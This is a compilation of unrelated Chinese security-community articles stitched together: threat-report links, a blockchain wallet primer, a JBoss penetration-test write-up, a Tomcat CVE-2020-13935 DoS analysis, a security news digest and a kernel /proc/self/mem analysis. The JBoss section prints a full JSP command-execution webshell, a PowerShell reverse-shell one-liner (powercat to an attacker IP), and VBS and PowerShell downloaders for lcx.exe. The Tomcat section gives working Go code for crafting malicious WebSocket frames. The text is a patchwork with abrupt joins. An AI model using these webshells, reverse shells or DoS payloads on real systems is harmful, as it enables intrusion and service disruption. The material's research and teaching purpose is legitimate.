[https://businessinsights.bitdefender.com/7-cyberattacks-against-pandemic-stressed-healthcare-orgs?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+BusinessInsightsInVirtualizationAndCloudSecurity+%28Business+Insights+In+Virtualization+and+Cloud+Security%29](https://businessinsights.bitdefender.com/7-cyberattacks-against-pandemic-stressed-healthcare-orgs?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+BusinessInsightsInVirtualizationAndCloudSecurity+%28Business+Insights+In+Virtualization+and+Cloud+Security%29)
火眼：由COVID-19驱动的网络威胁格局的有限变化
<https://www.fireeye.com/blog/threat-research/2020/04/limited-shifts-in-cyber-threat-landscape-driven-by-covid-19.html>
Maze勒索软件运营商披露了来自药物测试公司HMR的数据
<https://securityaffairs.co/wordpress/101247/data-breach/maze-ransomware-hmr-leak.html>
以Skype为主题的应用程序隐藏了大量恶意软件
<https://threatpost.com/skype-apps-hide-malware/154566/>
安全报告 Security Report
【更新】新型勒索软件WannaRen风险通告
<https://cert.360.cn/warning/detail?id=2f45e9274a8a894c2b358903a6f6115f>
“震网”三代和二代漏洞技术分析报告
<https://cert.360.cn/report/detail?id=3e6f34de3afb14cfd6cd65231e16790b>
2019年的垃圾邮件和网络钓鱼报告
<https://securelist.com/spam-report-2019/96527/>
微软在全球危机中共享新的威胁情报和安全指导
<https://www.microsoft.com/security/blog/2020/04/08/microsoft-shares-new-threat-intelligence-security-guidance-during-global-crisis/>
Dark Nexus：一个针对广泛设备的新型物联网僵尸网络分析报告
<https://www.bitdefender.com/files/News/CaseStudies/study/319/Bitdefender-PR-Whitepaper-DarkNexus-creat4349-en-EN-interactive.pdf>
安全研究 Security Research
模糊测试器开发流程-Part-1
<https://h0mbre.github.io/Fuzzing-Like-A-Caveman/>
模糊测试器开发流程-Part-2
<https://h0mbre.github.io/Fuzzing-Like-a-Caveman-Part-2/>
tomcat幽灵猫分析
<https://xz.aliyun.com/t/7510>
基于纯软件环境的AVR逆向分析
<https://www.anquanke.com/post/id/202256>
BlueBorne 之 CVE-2017-0785 原理分析
<https://www.anquanke.com/post/id/202575> | 社区文章 |
# 区块链安全入门笔记（一） | 慢雾科普
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
虽然有着越来越多的人参与到区块链的行业之中，然而由于很多人之前并没有接触过区块链，也没有相关的安全知识，安全意识薄弱，这就很容易让攻击者们有空可钻。面对区块链的众多安全问题，慢雾特推出区块链安全入门笔记系列，向大家介绍十篇区块链安全相关名词，让新手们更快适应区块链危机四伏的安全攻防世界。
## 钱包 Wallet
钱包(Wallet)是一个管理私钥的工具，数字货币钱包形式多样，但它通常包含一个软件客户端，允许使用者通过钱包检查、存储、交易其持有的数字货币。它是进入区块链世界的基础设施和重要入口。
据 SlowMist Hacked 统计，仅 2018 年因“钓鱼”、“第三方劫持”等原因所造成的钱包被黑损失总金额就达 69,160,985
美元，深究根本，除了部分钱包本身对攻击防御的不全面之外，最主要的是钱包持有者们的安全防范意识不强。
## 冷钱包 Cold Wallet
冷钱包(Cold
Wallet)是一种脱离网络连接的离线钱包，将数字货币进行离线储存的钱包。使用者在一台离线的钱包上面生成数字货币地址和私钥，再将其保存起来。冷钱包是在不需要任何网络的情况下进行数字货币的储存，因此黑客是很难进入钱包获得私钥的，但它也不是绝对安全的，随机数不安全也会导致这个冷钱包不安全，此外硬件损坏、丢失也有可能造成数字货币的损失，因此需要做好密钥的备份。
## 热钱包 Hot Wallet
热钱包(Hot
Wallet)是一种需要网络连接的在线钱包，在使用上更加方便。但由于热钱包一般需要在线使用，个人的电子设备有可能因误点钓鱼网站被黑客盗取钱包文件、捕获钱包密码或是破解加密私钥，而部分中心化管理钱包也并非绝对安全。因此在使用中心化交易所或钱包时，最好在不同平台设置不同密码，且开启二次认证，以确保自己的资产安全。
## 公钥 Public Key
公钥(Public
Key)是和私钥成对出现的，和私钥一起组成一个密钥对，保存在钱包中。公钥由私钥生成，但是无法通过公钥倒推得到私钥。公钥能够通过一系列算法运算得到钱包的地址，因此可以作为拥有这个钱包地址的凭证。
## 私钥 Private Key
私钥(Private
Key)是一串由随机算法生成的数据，它可以通过非对称加密算法算出公钥，公钥可以再算出币的地址。私钥是非常重要的，作为密码，除了地址的所有者之外，都被隐藏。区块链资产实际在区块链上，所有者实际只拥有私钥，并通过私钥对区块链的资产拥有绝对控制权，因此，区块链资产安全的核心问题在于私钥的存储，拥有者需做好安全保管。
和传统的用户名、密码形式相比，使用公钥和私钥交易最大的优点在于提高了数据传递的安全性和完整性，因为两者——对应的关系，用户基本不用担心数据在传递过程中被黑客中途截取或修改的可能性。同时，也因为私钥加密必须由它生成的公钥解密，发送者也不用担心数据被他人伪造。
## 助记词 Mnemonic
由于私钥是一长串毫无意义的字符，比较难以记忆，因此出现了助记词(Mnemonic)。助记词是利用固定算法，将私钥转换成十多个常见的英文单词。助记词和私钥是互通的，可以相互转换，它只是作为区块链数字钱包私钥的友好格式。所以在此强调：助记词即私钥！由于它的明文性，不建议它以电子方式保存，而是抄写在物理介质上保管好，它和
Keystore 作为双重备份互为补充。
## Keystore
Keystore 主要在以太坊钱包 App 中比较常见(比特币类似以太坊 Keystore
机制的是：BIP38)，是把私钥通过钱包密码再加密得来的，与助记词不同，一般可保存为文本或 JSON 格式存储。换句话说，Keystore
需要用钱包密码解密后才等同于私钥。因此，Keystore 需要配合钱包密码来使用，才能导入钱包。当黑客盗取 Keystore 后，在没有密码情况下,
有可能通过暴力破解 Keystore 密码解开 Keystore，所以建议使用者在设置密码时稍微复杂些，比如带上特殊字符，至少 8 位以上，并安全存储。
图片来自 imToken Fans 活动分享图片来自 imToken Fans 活动分享
由于区块链技术的加持使得区块链数字钱包安全系数高于其他的数字钱包，其中最为关键的就是两点：防盗和防丢。相比于盗币事件原因的多样化，造成丢币事件发生的原因主要有五个类型：没有备份、备份遗失、忘记密码、备份错误以及设备丢失或损坏。因此，我们在备份一个区块链数字钱包的时候，对私钥、助记词、Keystore
一定要进行多重、多次备份，把丢币的风险扼杀在摇篮之中。最后为大家提供一份来自 imToken 总结的 **钱包安全“十不原则”：**
1.不使用未备份的钱包
2.不使用邮件传输或存储私钥
3.不使用微信收藏或云备份存储私钥
4.不要截屏或拍照保存私钥
5.不使用微信、QQ 传输私钥
6.不要将私钥告诉身边的人
7.不要将私钥发送到群里
8.不使用第三方提供的未知来源钱包应用
9.不使用他人提供的 Apple ID
10.不要将私钥导入未知的第三方网站 | 社区文章 |
### 一.前言
最近做渗透测试中遇到一个jboss的站，在其中学到一些在乙方工作挺有用的技巧（这次测试是进过授权测试）在次分享一下
### 二.信息收集
先通过namp进行扫描，同时进行目录扫描，发现8080/jmx-console/，发现是jboss的站，百度到jboss可以部署war包getshell,访问<http://xxxx:8080//jmx-console/>
### 三.漏洞利用
全局搜索jboss.system,点击进入
1.制作war包
把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war，然后将该war上传到互联网上能够访问的网
站上
//gg.jsp
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
</head>
<body>
<%
Runtime runtime = Runtime.getRuntime();
Process process =null;
String line=null;
InputStream is =null;
InputStreamReader isr=null;
BufferedReader br =null;
String ip=request.getParameter("cmd");
try
{
process =runtime.exec(ip);
is = process.getInputStream();
isr=new InputStreamReader(is);
br =new BufferedReader(isr);
out.println("<pre>");
while( (line = br.readLine()) != null )
{
out.println(line);
out.flush();
}
out.println("</pre>");
is.close();
isr.close();
br.close();
}
catch(IOException e )
{
out.println(e);
runtime.exit(1);
}
%>
</body>
</html>
我这里就用python 简单创建个ftp服务(这也是python的一个巧用)
python -m SimpleHTTPServer 8589
2.进入jboss.system页面找到如下，填入远程的war文件地址
成功部署的界面如下
3.访问shell地址,并执行命令
### 四.进一步渗透
1.在获得php shell的基础上，我们需要一个真正的cmd
shell，这样有利于操作，进过nmap扫描，发现是windows,我们可以通过powershell进行shell反弹
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd
本地监听，成功获取一个cmd shell,接下来就是提权了
2.在cmd 中查看端口开放信息，3389和445都开放了
想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息，发现打了很多补丁
可以通过如下链接查看补丁编号
网址：<https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp>
查找永恒之蓝补丁编号进行比对发现该目标机器并没打补丁
3.看端口扫描结果，3389过滤了，445也过滤了，只有端口转发再打了
4.先在shell中查看有那些任务，看看有没杀毒软件，初看没有，但后来才发现了，居然有卡巴斯基
5.没事就到处浏览目录查看内容（发现google账号密码居然记录在txt文件中），发现任何目录都能浏览和看信息，就怀疑这个用户的权限，赶紧看了哈…居然是administrator
组的，那提权就不用了涩，但还是想3389连进去
6.打算用vbs下载一个lcx或者EarthWorm进行端口转发,vbs下载代码，一般下载在C:\Windows\Temp\目录下，可读可写
vbs下载代码
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\2.txt",2 >>download.vbs
powershell 下载代码
powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:\Windows\Temp\2.txt')
7.当自己写进去了后，更名为exe执行的时候，被杀了，最后又看了下任务，才发现卡巴斯基，然后就一直被卡在这里
8.lcx命令如下
lcx 命令
//被攻击机器
lcx -slave 自己外网ip 51 内网ip 3389
//攻击机器
lcx.exe -listen 51 9090
由于防火墙限制，部分端口如3389无法通过防火墙，此时可以将该目标主机的3389端口透传到防火墙允许的其他端口，如53端口.
lcx -tran 53 目标主机ip 3389
### 总结
虽然暂时没有成功，但从中还是学到许多渗透知识，也明白了实战能提高许多技术。不足就是知识不够，还需努力。 | 社区文章 |
### 漏洞信息
* 参考资料
* <https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.37>
* <https://bz.apache.org/bugzilla/show_bug.cgi?id=64563>
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13935>
* <https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/>
漏洞名称:
WebSocket Dos Vulnerability in Apache Tomcat (CVE-2020-13935)
漏洞描述:
WebSocket frame中的"负载长度"(payload length)没有被正确地验证.
"无效的负载长度"(Invalid payload lengths)能触发一个"无限循环"(infinite loop).
具有"无效的负载长度"的多个requests能够导致拒绝服务.
触发前提:
tomcat版本在受影响范围内, 且用到了websocket.
Affected Versions:
10.0.0-M1 to 10.0.0-M6
9.0.0.M1 to 9.0.36
8.5.0 to 8.5.56
8.0.1 to 8.0.53
7.0.27 to 7.0.104
diff:
This was fixed with commit 40fa74c7.
Timeline:
2020年6月28日, 这个issue通过Apache Bugzilla实例被公开报告, 其中提到了"高CPU", 但未明确提及DoS.
当天, Apache Tomcat Security Team确定了相关的DoS风险.
该issue于2020年7月14日公开.
### 漏洞分析
* 官方信息不够详细, 我们会产生一些疑问:
* 如何构造无效的"载荷长度"?
* 发生的是哪种类型的拒绝服务? CPU耗尽? 内存耗尽? 还是一个crash?
* 在什么情况下应用程序可被攻击? Apache Tomcat什么时候解析WebSocket Messages?
* 漏洞利用需要大量的带宽或计算能力吗?
* 无法升级时, 是否有其他的解决方案?
我们通过一些分析来回答这些问题, 这些通常也是渗透测试的一部分.
根据补丁
<https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d>
看diff 这个漏洞是怎么被修复的.
代码文件: `java/org/apache/tomcat/websocket/WsFrameBase.java`
代码变更: 增加了校验`payloadLength`的代码:当 `payloadLength < 0` 则抛出异常.
line 264-270
// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
throw new WsIOException(
new CloseReason(CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid")));
}
可以看到, 这次代码变更增加了: 对类型为long的"负载长度"(payloadLength)字段的额外检查, 如果值为负值, 则抛出异常.
但是"载荷长度"`payloadLength`怎么可能是负的呢?
为了回答这个问题, 让我们看看一个WebSocket frame的结构:
参考 RFC 6455 <https://tools.ietf.org/html/rfc6455#section-5.2>
如图可见, 帧的前16个bit, 包含了: 几个"标志位"(bit flags)以及7-bit长的"负载长度"(payload length).
该图指出, 如果这个"负载长度"(payload length)设置为127(二进制`1111111`), 应该使用
占64个bit的"扩展载荷长度"(extended payload length)作为载荷长度. 具体可见WebSocket RFC的要求:
如果[7bit的载荷长度]为127(二进制`1111111`), 则接下来的8个bytes被解释为64-bit长的"无符号整数",作为载荷长度.
**【注意】** WebSocket RFC里要求, 这个64-bit长的”无符号整数”的
"[最高有效位](https://en.wikipedia.org/wiki/Bit_numbering#:~:text=In%20computing%2C%20the%20most%20significant,digits%20further%20to%20the%20left.)"必须为`0`(the
most significant bit MUST be 0).
这是一个 **特殊** 要求, 为什么特殊? 这跟正常情况不同.
因为规范要求该字段是64-bit的"无符号整数"(unsigned integer), 但WebSocket RFC规范还要求了, 最高有效位需写为`0`.
而通常情况"无符号整数"不是这样的.
* 通常情况:
* 无符号整数(unsigned integer) - 必然>=0, 所有bit都用来表示这个数字本身, 不存在正负之分
* 有符号整数(signed integer) - 最高位用来表示正负, 1为负, 0为正
所以, 容易让人混淆.
规范为什么要这样设计呢?
也许这是为了提供 与"有符号的实现"的互操作性(provide interoperability with signed implementations),
而做出的选择.
个人理解, 也就是说, 假设某些编程环境把整数都当作有符号数, 解析WebSocket的数据包时,
这些环境会把这个64bit的"扩展载荷长度"(Extended payload length)字段的具体数据, 也当作有符号整数.
此时可能把第1个bit的值1的具体数据, 解释为负数, 这就错了.
规范为了让这些编程环境正确得到payload length(正数), 所以规范要把这个64bit的"扩展载荷长度"字段的值的第1个bit写死为0. 这样,
这些编程环境也一定会把这个64bit的"扩展载荷长度"(Extended payload length)字段里的具体数据, 处理为正数了.
规范的意图是提高容错性, 兼容了少数错误的编程实现: 哪怕你的编程环境违反了WebSocket RFC规范要求的
这64bit的数据应该被当作"无符号整数", 你依然可以得到一个正确的结果(正数).
但是还是有人写的编程实现, 把"扩展载荷长度"(Extended payload length)字段的第1个bit当作了区分正负的依据(1为负,0为正).
导致了漏洞.
### 漏洞验证
怎么构造出poc ?
我们的目标是, 按照RFC规范进行操作, 来精心构造一个WebSocket frame, 当Apache Tomcat解析这个WebSocket
frame时会认为具有 **负的** 载荷长度.
构造poc的具体过程如下：
* 首先, 需要设置 "标志位"(bit flags) `FIN`, `RSV1`, `RSV2`和`RSV3`的值.
* FIN - 占1个bit, 用于指示一条message的最终帧(FIN is used to indicate the final frame of a message). 因为我们想把整个message都放在一个帧里, 所以我们把FIN的值设置为1.
* RSV - 占3个bit, RSV位保留以供将来使用和WebSocket规范的扩展, 所以把RSV bits都被设置为0.
* opcode - 占4个bit, 表示发送的数据的类型. 该值必须是有效的, 否则这个帧将被丢弃. 在本例中, 我们希望发送一个类型为text frame, 根据规范就把opcode字段的值设置为1. Go库github.com/gorilla/websocket 为我们提供了一个常量.
现在我们用golang来构建我们的WebSocket frame的第1个byte (即前8个bit):
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
* 我们的WebSocket frame的第2个byte :
* MASK - 占1个bit, 表明是否要对"载荷数据"(Payload data)进行掩码操作. 从client -> server的这些帧, MASK的值必须被设置为1. 相反地, server -> client时因为不需要进行掩码操作, 所以MASK被设置为0.
* Payload len - 到底占?个bit呢, 要根据WebSocket message的`payload size`分情况讨论, 共3种情况:
* 情况1. 如果 payload size <=125 bytes, 则直接在`7-bit payload length`字段中对"payload length"(payload size)进行编码, 也就是`Payload len`字段共占7个bit
* 情况2. 如果 126 <= payload size <= 65535, 则将`7-bit payload length`字段设置为常数十进制`126`(二进制`1111110`), 并将"length"作为16-bit unsigned integer编码到接下来紧跟着的2个bytes中(即`Extended payload length`字段). 也就是`Payload len`字段共占 7 + 2*8 = 23 bit
* 情况3. 如果 65535 < payload size, 则`7-bit payload length`字段必须被设置为常数十进制`127`(二进制`1111111`), 并将"payload length"(payload size)作为一个64-bit unsigned integer, 编码到接下来紧跟着的8个bytes中(即`Extended payload length`字段). 也就是`Payload len`字段共占 7 + 8*8 = 71 bit
如上所述, 对于情况3, 根据规范, 必须将(`Extended payload length`字段的)"最高有效位"(the most
significant bit, MSB)设置为0.
* 具体操作, 来指定WebSocket frame的第2个byte:
* MASK - 占1个bit, 因为client -> server, 所以设置为1.
* Payload len - 因为我们想要指定一个占64-bit的payload length, 也就是 情况3.(7 + 8*8 = 71 bit ), 就需要先将`7-bit payload length`字段的值设置为常数十进制`127`(二进制`1111111`). 然后为了在Apache Tomcat中触发vulnerable code, 故意将这个占64-bit的`Extended payload length`字段的"最高有效位"(MSB)设置为1, 是的就在这里故意违反RFC规范!!
// MASK字段 - 占1个bit, 表明是否要对"载荷数据"(Payload data)进行掩码操作.
// client -> server. so we always set the mask bit to 1
// Payload len字段 - indicate 64 bit message length.
// 左移运算符<< 用来把操作数的各个二进制位全部左移若干位, 高位丢弃, 低位补0.
// 按位或运算 | 按bit进行或运算.
buf.WriteByte(byte(1<<7 | 0b1111111))
为了构造一个具有无效"负载长度"(payload length)的帧, 我们将以下8个字节, 每个byte都设置为`0xFF`:
十六进制 Hex`0xFF`
= 二进制 Bin `11111111`
= 十进制 Dec `255`
// set msb to 1, violating the spec
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
接下来, 是`masking key`字段, 占4个byte, 规范要求它的值是 来自于一个强大的"熵"(entropy)来源的随机的32个bit,
但由于我们已经违反了RFC规范, 所以我们使用一个static`masking key`使代码更易阅读:
// masking key
// 4 bytes
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)
实际"负载"(payload)本身的大小, 可以小于"负载长度"(payload length)中指定的length:
// write an incomplete message
buf.WriteString("test")
"数据包"(packet) 的 "组装"(assembly)、传输的实现, 可见以下代码.
为了保证正常运行, 我们在发送这个packet后, 将这个"连接"(connection)保持`open`状态30秒.
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
PoC是fork的, 注释版 <https://github.com/1135/CVE-2020-13935> (仅供查看,请勿运行!)
检测过程:
# 环境搭建: 我自己安装了tomcat 9.0.31 在受影响范围内 (Affects: 9.0.0.M1 to 9.0.36)
# 寻找endpoint: 安装 Apache Tomcat 之后, 会有自带的examples 如http://localhost:8080/examples/websocket/echo.xhtml
# 这里用到了websocket, 可抓到url.
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
# 亲测, web无法响应了, CPU使用率降不下来, 除非手动重启!
# 其他版本未测试.
### 修复方案
将Apache Tomcat服务器更新为当前版本. 如果无法更新, 需禁用或限制对WebSockets的访问.
WAF拦截tomcat默认功能的URL
# examples功能页面(信息探测)
/examples/websocket/echo.xhtml
/examples/websocket/chat.xhtml
/examples/websocket/snake.xhtml
/examples/websocket/drawboard.xhtml
# 建立websocket握手的URL(实际攻击)
/examples/websocket/echoProgrammatic
/examples/websocket/echoAnnotation
/examples/websocket/echoStreamAnnotation
/examples/websocket/chat
/examples/websocket/snake
/examples/websocket/drawboard
### 总结
拒绝服务漏洞, 会严重影响业务运行, 影响很大. | 社区文章 |
# 4月14日安全热点 - VMware已发布安全更新以解决vRealize Automation中的漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-14 星期六
## 【漏洞】
1.漏洞聚焦：TALOS-2018-0529-531 – NASA CFITSIO库中的多个漏洞
<http://t.cn/Rmp86gk>
2.Moxa EDR-810工业安全路由器中的多个漏洞
<http://t.cn/Rmp8aYZ>
3.开源问卷工具LimeSurvey爆严重漏洞，或致使服务器被远程控制
<http://t.cn/Rmp8owK>
## 【安全事件】
1.Coinsecure比特币交易所被窃价值35亿美元比特币的内幕
<http://t.cn/Rmp8KR5>
2.英国已对伊斯兰国（IS）集团发起重大网络攻击，严重扰乱其业务。
<http://t.cn/Rmp89Rp>
## 【安全资讯】
1.安卓厂商隐藏的事实：安全补丁的更新部署并不真实完整
<http://t.cn/Rmp8CRs>
2.专家发现一个代理僵尸网络由超过65,000个通过UPnP协议暴露的路由器组成
<http://t.cn/RmNbNA5>
3.VMware已发布安全更新以解决vRealize Automation中的漏洞
<http://t.cn/Rmp8pT9>
## 【安全研究】
1.Invoke-Adversary是一款PowerShell脚本，可帮助您根据检测高级持续性威胁的能力来评估安全产品和监控解决方案
<http://t.cn/Rmp80Dl>
2.CVE-2018-0886：针对MS RDP发布的RCE PoC漏洞利用
<http://t.cn/Rm906GP>
3.Spectrum：一种新的Cloudflare功能，可为任何基于TCP的协议带来DDoS保护，负载平衡和内容加速。
<http://t.cn/Rmp8lpk>[
](http://t.cn/Rmp8lpk)
4.CVE-2018-7600: Drupal核心远程代码执行漏洞分析报告
<http://t.cn/RmN2WLf>
## 【恶意软件】
1.3月份最受欢迎的恶意软件：恶意软件即使在网络浏览器之外也能正常运行
<http://t.cn/Rmp8T62>
2.4月6 – 13日恶意软件威胁总结
<http://t.cn/Rmp8HOE>
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# 剖析脏牛3_-proc-self-mem是怎么实现的
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 测试程序
int fd;
struct stat st;
void *mem;
void processMem(void)
{
int f = open("/proc/self/mem", O_RDWR);
lseek(f, mem, SEEK_SET);
write(f, "AAA", 3);
}
int main(void)
{
fd = open("./test", O_RDONLY);
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
processMem();
}
## sys_write()
* 由于我们是通过write读写文件的, 因此先进入write的系统调用处理函数看一下
* sys_write()获取一些参数后调用vfs_write()进行真正的写入
## vfs_write()
* 这是虚拟文件系统提供的通用的文件写入操作, 本身就是一个__vfs_write()的包裹函数
## __vfs_write()
* 这个函数主要就是根据文件对象调用其内部的write()方法
* /proc/self/mem这个文件对象来说, 会调用mem_write()函数
## mem_write()
* mem_write()会调用mem_rw()
## mem_rw()
* mem_rw()首先根据/proc/self/mem这个文件对象的私有数据区域, 找到其映射的是哪一个虚拟地址空间, 然后在内核中申请了一个临时页作为内核缓冲区
* 接着通过一个循环写入count长数据, copy_from_user把数据搬运到内核缓冲区中, 再调用access_remote_vm()写入虚拟地址空间中
* 注意:
* 假如进程A陷入write系统调用, 由于惰性TLB, 内核线程使用页表就是A的页表, 也就是说当前页表的用户部分是进程A的, 内核部分是所有内核内核同步的
* copy_from_user()与copy_to_user()是在当前页表的用户部分与内核部分中进行读写操作, 其本质上就是memcpy(), 对于MMU来说和用户态的memcpy()没啥区别, 对于内核来说, 由于页表的用户部分是可变的, 所以要保证页表的用户部分属于要写入的进程
* 而进程A可能会读写/proc/B/mem, 因此需要调用access_remote_vm()去读写别的进程的虚拟地址空间, 而不再是本进程的地址空间了
## access_remote_vm()
* 是__access_remote_vm()的包裹函数
## __access_remote_vm()
* 主要分为两部分, 首先调用get_user_pages_remote()把页面锁定在内存中, 从而可以直接访问
* 然后根据锁定的页对象page找到其所处的内存地址maddr, 然后使用copy_to_user_page()进行写入工作
* 这个函数的核心就在与怎么把别的进程的页面锁定在内存中的, 因此get_user_pages_remote()的实现
## get_user_pages_remote()
* 函数位于mm/gup.c中, 就是一个对于__get_user_pages_locked()的包装函数
## __get_user_pages_locked()
* 由于locked设置为NULL, 因此 **get_user_pages_locked()设置flags, 调用** get_user_pages()就直接返回了, 不会进入VM_FAULT_RETRY的逻辑
## __get_user_pages()
* 首先进行一些简单的参数检查
然后通过一个do{…}while(nr_pages)循环, 遍历所有需要锁定的页, 处理一个页之前, 先找到所属的VMA
* __get_user_pages()最核心的部分, 就是下面这个循环, follow_page_mask()判断对应页是否满足foll_flags要求, faultin_page()负责处理错误, 会一直循环到对应页满足foll_flags的要求
* 处理完这个页之后, 记录结果, 然后处理下一个页
## follow_page_mask()
* 先是一些基本的变量声明
* 然后就是跟踪四级页目录:pgd=>pud=>pmd, 如果对应表项为none, 则返回no_page_table()表示出错, 最后进入follow_page_pte()跟踪pte
## follow_page_pte()
* 对于大多数普通页来说follow_page_pte()会检查页不存在和页不可写入两种缺页异常, 然后调用vm_normal_page()根据pte找到对应的页描述符page
* 找到页描述符后, 会根据flags进行一些操作, 然后返回page, 在这里flags = 0x2017, 也就是如下标志
* FOLL_WRITE 0x01 : 需要进行写入
* FOLL_TOUCH 0x02 : 标记一下页面被访问过
* FOLL_GET 0x04 : 获取页面的引用, 从而让页面锁定在内存中
* FOLL_FORCE 0x10 : 强制写入只读内存区
* FOLL_REMOTE 0x2000 : 要访问的不是当前任务的内存空间
## faultin_page()
* fault _page()会把flags中的FOLL_ 标志转为handle _mm_fault()使用的FAULT_ 标志, 然后调用handle_mm_fault()处理
* handle_mm_fault()前一个文章已经分析过, 由于FORCE标志, mem可以写入进程只读内存区, 因此会进行进入do_wp_page(), 把只读页复制一份, 替换原有的页
* 但是与缺页异常的COW不同, 这片VMA自身就是只读的, 因此在COW之后设置PTE时, PTE只有Dirty标志, 而没有RW标志
* 当do_page_page()处理完毕后, 会返回VM_FAULT_WRITE标志, 表示这个页可以进行写入
* faultin_page()结束部分是最具有trick的一个地方: COW一个只读页的结果任然是一个只读页, 如果flags有FOLL_WRITE标志, 那么follow_page_mask()会因为写权限问题再次失败, 但此时作为一个复制过来的页可以安全的写入, 所以要去掉FOLL_WRITE标志
## __get_user_pages()第一次循环
* 第一次follow_page_mask()时, 由于VMA没有建立映射,因此对应页表项为空, follow_page_mask()会因为pmd_none(*pmd)而失败, 第一次进入faultin_page()
* faultin_page()沿着下面的调用流程
* __handle_mm_fault()负责分配各级页表项, 然后调用handle_pte_fault()
* handle_pte_fault()发现是映射到文件, 但整个PTE为none的情况, 会调用do_fault()处理
* do_fault()发现需要写入私有文件映射的内存区就会调用do_cow_fault()进行写时复制
faultin_page()
handle_mm_fault()
__handle_mm_fault()
handle_pte_fault()
do_fault()
do_cow_fault()
alloc_page_vma()
__do_fault()
do_set_pte()
* do_cow_fault()的流程如下
* 首先调用alloc_page_vma()分配一个新页
* 然后调用__do_fault()需要找address对应的原始页的描述符
* 然后调用copy_user_highpage()把原始页的内容复制到新页中
* 新旧页都被映射到内核地址空间中, 因此复制的时候直接memcpy()就可以
* 最后调用do_set_pte()设置页表的PTE, 建立反向映射
* do_set_pte()流程如下, 在本测试程序中, 由于进行COW的VMA区域不可写入, 因此得到的COW页只有脏标志, 没有可写标志
* 注意这里的set_pte_at(), 会把描述此物理页的pte写入到vma->vm_mm这个地址空间的页表中, 也就是让其他用户进程的虚拟内存映射到这个物理页中.
* 与此同时, 由于要要进行写入等工作, 内核地址空间也映射到这个物理页. 要注意区分两种映射
## __get_user_pages()第二次循环
* 分配到COW页之后, 会再次进入follow_page_mask()进行检查, 由于PTE不可写入, 但是flags中设置了FOLL_WRITE标志, 因此会再次失败
* 本次faultin_page()沿着下面路径进行
* 由于要进行写入操作, 并且对应页存在, 因此handle_pte_fault()会调用do_wp_page()进行写时复制
faultin_page()
handle_mm_fault()
__handle_mm_fault()
handle_pte_fault()
do_wp_page()
wp_page_reuse()
maybe_mkwrite(pte_mkdirty(entry), vma);
return VM_FAULT_WRITE;
* do_wp_page()流程如下
* 调用vm_normal_page() 根据address找到对应的页描述符
* 如果发现是匿名页, 并且此页只有一个引用, 那么会调用wp_page_reuse()直接重用这个页.
* 第一次faultin_page()时进入do_cow_fault(), 就已经专门复制了一页, 因此会直接进入wp_page_reuse() 重用这个页
* wp_page_reuse()主要就是设置PTE, 然后返回VM_FAULT_WRITE
* 注意由于这片VMA不可写入,因此PTE任然没有RW标志,
* 最后handle_mm_fault()返回到faultin_page()中时, 由于返回了VM_FAULT_WRITE标志, 表示可以写入, 因此会去掉flags中的FOLL_WRITE标志, 不再检查写入权限
## __get_user_pages()第三次循环
* 再次进入follow_page_mask(), 由于之前去掉了FOLL_WRITE标志, 因此不会检查PTE有没有写入权限, 从而通过follow_page_mask()返回对应的页
* 之后会沿着路径返回: **get_user_pages() - > **get_user_pages_locked() -> get_user_page_remote() -> __access_remote_vm()
* __access_remote_vm()锁定页面后, 先调用kmap把页面映射到内核地址空间中, 再调用copy_to_user_page()完成从内核缓冲区到对应页面的写入
## 总结
